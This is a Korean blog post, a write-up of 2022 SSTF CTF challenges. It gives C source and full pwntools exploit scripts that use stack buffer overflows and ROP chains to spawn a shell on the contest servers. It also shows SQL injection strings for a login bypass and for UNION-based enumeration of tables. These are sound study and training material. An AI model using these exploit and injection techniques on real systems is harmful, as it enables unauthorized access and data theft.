본문 바로가기

CTF

2022 SSTF writeup

1. BOF101

(1) 문제 설명

  • 바이너리 파일과 C 코드가 주어진다.
  • bof101.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int printflag(){
        char buf[32];
        FILE* fp = fopen("/flag", "r");
        fread(buf, 1, 32, fp);
        fclose(fp);
        printf("%s", buf);
        return 0;
}

int main() {
        int check=0xdeadbeef;
        char name[140];
        printf("printflag()'s addr: %p\n", &printflag);
        printf("What is your name?\n: ");
        scanf("%s", name);
        if (check != 0xdeadbeef){
                printf("[Warning!] BOF detected!\n");
                exit(0);
        }
        return 0;
}

 

 

(2) 풀이

① 보호기법을 확인해보면, Canary가 적용되지 않은 것을 볼 수 있다.

 

② 주어진 C코드에 작성된 것을 보면, 입력받아오는 크기를 지정해 두지 않는다. 이를 통해, BOF가 발생한다.

 

③ pwndbg를 이용해 디컴파일 해보면, [rbp-0x4] 위치에 0xdeadbeef를 넣고 마지막 부분에서 변조되었는지 검증한다. 

  • stack이 0x90만큼 할당되었기 때문에, 0x4를 뺀 0x8C만큼 임의의 값을 넣고 0x4byte에 0xdeadbeef를 넣어주면 된다.

 

④ 바이너리 실행시 출력되는 printflag주소를 RET에 넣어주면, flag를 획득할 수 있다.

 

 

(3) Exploit Code

#!/usr/bin/python3
from pwn import *

#p = process(b"./bof101")
p = remote(b"bof101.sstf.site", 1337)
p.recvuntil(b"addr: ");
printflag_addr = int(p.recvline()[:-1],16);
check = 0xdeadbeef

print("printflag : ", printflag_addr)

payload = b"A" * 0x8C
payload += p64(check)
payload += b"b" * 0x4
payload += p64(printflag_addr)

p.sendline(payload)
p.interactive()

 

2. BOF 102

(1) 문제 설명

  • 바이너리 파일과 C코드가 주어진다.
  • bof102.c
#include <stdio.h>
#include <stdlib.h>

char name[16];

void bofme() {
	char payload[16];
	puts("What's your name?");
	printf("Name > ");
	scanf("%16s", name);
	printf("Hello, %s.\n", name);
	puts("Do you wanna build a snowman?");
	printf(" > ");
	scanf("%s", payload);
	printf("!!!%s!!!\n", payload);
	puts("Good.");
}

int main() {
	system("echo 'Welcome to BOF 102!'");
	bofme();
	return 0;
}

 

 

(2) 풀이

① 보호기법을 확인해보면, 32bit 프로그램으로 NX와 ASLR이 적용된 것을 확인할 수 있다. 

  • NX와 ASLR을 우회하기 위해, ROP기법을 사용하여 쉘을 획득하였다.

 

② 코드 분석

  • bofme함수에서 payload에 입력받아오는 크기를 제한해두지 않았다.
  • main함수에서 system함수가 존재하는 것을 볼 수 있다.
  • name은 전역변수이다.

 

③ 코드에 system함수가 존재하는 것을 보아, gadget은 pop; ret;으로 구한다.

 

④ payload에 dummy값이 있는지 확인한다.

 

⑤ NX보호기법이 적용되어 있기 때문에, '/bin/sh'는 전역 변수인 name에 입력값으로 저장한다.

  • name의 주소는 다컴파일을 통해, 알 수 있다.

 

 

⑥ system주소를 구한다.

 

⑦ bof를 발생시키고 gadget을 이용하여, system("/bin/sh")를 실행시킨다.

system = 0x80483e0
gadget = 0x08048395 #pop ebx ; ret
name = 0x804a034

payload = b"A" * 0x10
payload += b"b" * 0x4
payload += p32(system) #system("/bin/sh")
payload += p32(gadget)
payload += p32(name)

 

 

(3) Exploit Code

#!/usr/bin/python3
from pwn import *

#p = process(b"./bof102")
p = remote(b"bof102.sstf.site", 1337)

system = 0x80483e0
gadget = 0x08048395 #pop ebx ; ret
name = 0x804a034

payload = b"A" * 0x10
payload += b"b" * 0x4
payload += p32(system) #system("/bin/sh")
payload += p32(gadget)
payload += p32(name)

p.recvuntil(b"Name > ") 
p.sendline(b"/bin/sh\x00")
p.sendline(payload)
p.interactive()

 

3. BOF 103

(1) 문제 설명

  • 바이너리 파일과 C 코드가 주어진다.
  • bof103.c
#include <stdio.h>
#include <stdlib.h>

unsigned long long key;

void useme(unsigned long long a, unsigned long long b)
{
	key = a * b;
}

void bofme() {
	char name[16];

	puts("What's your name?");
	printf("Name > ");
	fflush(stdout);
	scanf("%s", name);
	printf("Bye, %s.\n", name);
}

int main() {
	system("echo 'Welcome to BOF 103!'");
	bofme();
	return 0;
}

 

 

(2) 풀이

① 보호기법을 확인해보면, 64bit 프로그램으로 NX와 ASLR이 적용된 것을 확인할 수 있다.

  • NX와 ASLR을 우회하기 위해, ROP기법을 사용하여 쉘을 획득하였다.

 

② 코드 분석

  • bofme함수에서 name에 입력받아오는 크기를 제한해두지 않았다.
  • main함수에서 system함수가 존재하는 것을 볼 수 있다.
  • ungined long long자료형인 key는 전역변수이며, useme함수를 통해 key에 값이 할당된다.

 

③ NX보호기법이 적용되어 있어, bss에 위치한 key에 '/bin/sh'문자열을 저장해야 한다.

  • useme함수에서 ungined long long자료형인 a*b한 값이 key에 할당된다.
  • 자료형이 ungined long long 이므로,  '/bin/sh' 문자열을 int형으로 바꿔 a에 할당하고, b에는 1을 할당하면 된다.
a = int.from_bytes(b"/bin/sh\x00", 'little')
b = 1

 

④ 64bit 형식에 맞게 사용할 수  있는 gadget이 있는지 확인한다.

  • useme함수에 들어가는 인자 2개를 위해, 'pop rdi; pop rsi; ret'가 필요하다.
    하지만, 사용할 수 있는 gadget이 없으므로, 'pop rdi; ret'와 'pop rsi; ret' 2개의 가젯을 이용해서 인자값을 넘겨주었다.
  • system함수 인자를 넣어줄 gadget으로는 'pop rdi; ret'를 사용하였다.

 

 useme함수에 인자값으로 위에서 계산한 a와 b를 넣어 key에 저장하고, 이를 system함수의 인자로 넣어 쉘을 획득한다.

payload += p64(pop_rdi)
payload += p64(a)
payload += p64(pop_rsi)
payload += p64(b)
payload += p64(useme)

payload += p64(pop_rdi)
payload += p64(key)
payload += p64(system) #system("/bin/sh")

 

 

(3) Exploit Code

#!/usr/bin/python3
from pwn import *

#p = process(b"./bof103")
p = remote(b"bof103.sstf.site", 1337)
e = ELF(b"./bof103")
libc = ELF(b"/lib/x86_64-linux-gnu/libc.so.6")

a = int.from_bytes(b"/bin/sh\x00", 'little')
b = 1

system = 0x400550
pop_rdi = 0x4007b3 #pop rdi ; ret
pop_rsi = 0x400747 #pop rsi ; ret
key = 0x601068 #bss
useme = 0x4006a6

payload = b"A" * 16
payload += b"b" * 8

payload += p64(pop_rdi)
payload += p64(a)
payload += p64(pop_rsi)
payload += p64(b)
payload += p64(useme)

payload += p64(pop_rdi)
payload += p64(key)
payload += p64(system) #system("/bin/sh")

p.recvuntil(b"Name > ") 
p.sendline(payload)
p.interactive()

 

4. pppr

(1) 문제 설명

  • 바이너리 파일과 해당 바이너리를 디컴파일한 코드가 주어진다.
  • decompiled.c
//decompiled source code, generated by IDA pro

char buf_in_bss[128];

int __cdecl r(int a1, unsigned int a2, int a3)
{
  int result; // eax
  char v4; // [esp+3h] [ebp-9h]
  unsigned int i; // [esp+4h] [ebp-8h]

  if ( a3 )
  {
    puts("r() works only for stdin.");
    result = -1;
  }
  else
  {
    for ( i = 0; a2 > i; ++i )
    {
      v4 = fgetc(stdin);
      if ( v4 == -1 || v4 == 10 )
        break;
      *(_BYTE *)(a1 + i) = v4;
    }
    *(_BYTE *)(i + a1) = 0;
    result = i;
  }
  return result;
}

int __cdecl x(char *command)
{
  return system(command);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[4]; // [esp+0h] [ebp-8h] BYREF

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  alarm(0xAu);

  r(v4, 64, 0);
  return 0;
}

 

 

(2) 풀이

① 보호 기법을 확인해보면, 32bit 프로그램으로 NX와 ASLR이 적용된 것을 확인할 수 있다.

  • NX와 ASLR을 우회하기 위해, ROP기법을 사용하여 쉘을 획득하였다.

 

② 코드 분석

  • r함수를 통해, 입력값을 받아 4byte 크기인 v4에 저장하는데, 64byte만큼 입력받아오기 때문에 BOF문제가 발생한다.
  • x함수의 인자가 system함수 인자값으로 들어가 실행하는 것을 볼 수 있다.
  • buf_in_bss는 전역변수이다.

 

③ v4에서 BOF를 발생시키고, ROP기법으로 x함수에 존재하는 system함수를 실행시켜 쉘을 획득하는 문제이다.

 

④ v4에 dummy값이 존재하는지 확인한다.

  • dummy값으로 기존 v4의 크기보다 4byte가 더 있는 것을 알 수 있다. 

 

⑤ ROP기법을 이용해, r함수를 다시 호출하여 buf_in_bss에 '/bin/sh'를 넣어준다.

  • r(buf_in_bss, 0x8, 0)으로 인자값을 바꿔줘서, buf_in_bss에 값을 할당할 수 있다.
  • gadget은 3개의 인자를 전달해야 하므로, 'pop; pop; pop; ret'형식으로 구한다.
# r(buf_in_bss, 0x8, 0)
payload += p32(r_addr) 
payload += p32(pppr)
payload += p32(buf_in_bss)
payload += p32(0x8)
payload += p32(0)

 

⑥ x함수의 인자로, buf_in_bss주소 값을 넣어 쉘을 획득할 수 있다.

  • gadget은 1개의 인자만 전달하면 되므로, 'pop; ret'형식으로 구한다.
# x("/bin/sh")
payload += p32(x_addr)
payload += p32(pop_ret)
payload += p32(buf_in_bss)

 

 

(3) Exploit Code

from pwn import *

#p = process(b"./pppr")
p = remote(b"pppr.sstf.site", 1337)

#gadgets
pop_ret = 0x0804838d # pop ebx; ret
pppr = 0x080486a9 #pop esi ; pop edi ; pop ebp ; ret

r_addr = 0x8048526
buf_in_bss = 0x0804a040
x_addr = 0x80485b4

payload  = b"A" * 0x8
payload += b"B" * 0x4

# r(buf_in_bss, 0x8, 0)
payload += p32(r_addr) 
payload += p32(pppr)
payload += p32(buf_in_bss)
payload += p32(0x8)
payload += p32(0)

# x("/bin/sh")
payload += p32(x_addr)
payload += p32(pop_ret)
payload += p32(buf_in_bss)

p.sendline(payload)
p.send(b"/bin/sh\x00")

p.interactive()

 

5. SQLi 101

(1) 문제 설명

  • 로그인 페이지의 주소가 주어지며, admin으로 로그인하면 flag를 얻을 수 있는 문제이다.
  • 로그인 한번 틀릴 시, Hint로 sql 쿼리문을 출력해준다.

 

 

(2) 풀이

  • username에 admin을 작성하고, #으로 주석 처리하면 어떤 password를 입력하든지 username뒤는 주석 처리된다.
  • 이를 통해, password는 검증 안 하기 때문에, admin계정으로 로그인할 수 있다.

 

6. SQLi 102

(1) 문제 설명

  • 책 검색 페이지의 주소가 주어지며, sql injection 쿼리를 이용하여 table과 column이름을 찾는 문제이다.
  • HINT를 누르면, 해당 페이지의 소스코드를 볼 수 있다.

hint.txt
0.00MB

 

 

(2) 풀이

① 해당 페이지에서 사용하는 데이터베이스의 주석 문자를 확인한다. 

  • 해당 문제의 주석 문자는 "#"이다.
 ' or 1=1#

②union select문을 이용하여, 컬럼 수를 구한다.

  • 컬럼의 개수가 8개인 것을 알 수 있다.
' UNION SELECT ALL 1,2,3,4,5,6,7,8 #


③ 데이터베이스 서버에 존재하는 모든 테이블명을 출력한다.

  • findme라는 수상한 테이블을 확인할 수 있다.
 ' UNION SELECT ALL 1,table_name,3,4,5,6,7,8 from information_schema.tables #


④ findme테이블의 컬럼들을 확인한다.

  • 출력된 컬럼명이 flag임을 알 수 있다.
' UNION SELECT ALL 1,column_name,3,4,5,6,7,8 from information_schema.columns where table_name='findme' #


 ※ 참고 ※
티오리에서 업로드한 writeup입니다. 나중에 참고하여 공부하려고 넣어두는 내용입니다. (출처 : 티오리)

SSTF 2022 The Duck - Write Up - rev 1.pdf
8.05MB

'CTF' 카테고리의 다른 글

2023 HTB CTF Writeup  (0) 2023.07.20
2023 Google CTF writeup (Pwnable)  (0) 2023.07.02
2022 POXX 예선 & 본선 writeup (pwnable, rev)  (0) 2022.12.28
2022 Hacking Camp writeup_pwnable  (0) 2022.09.03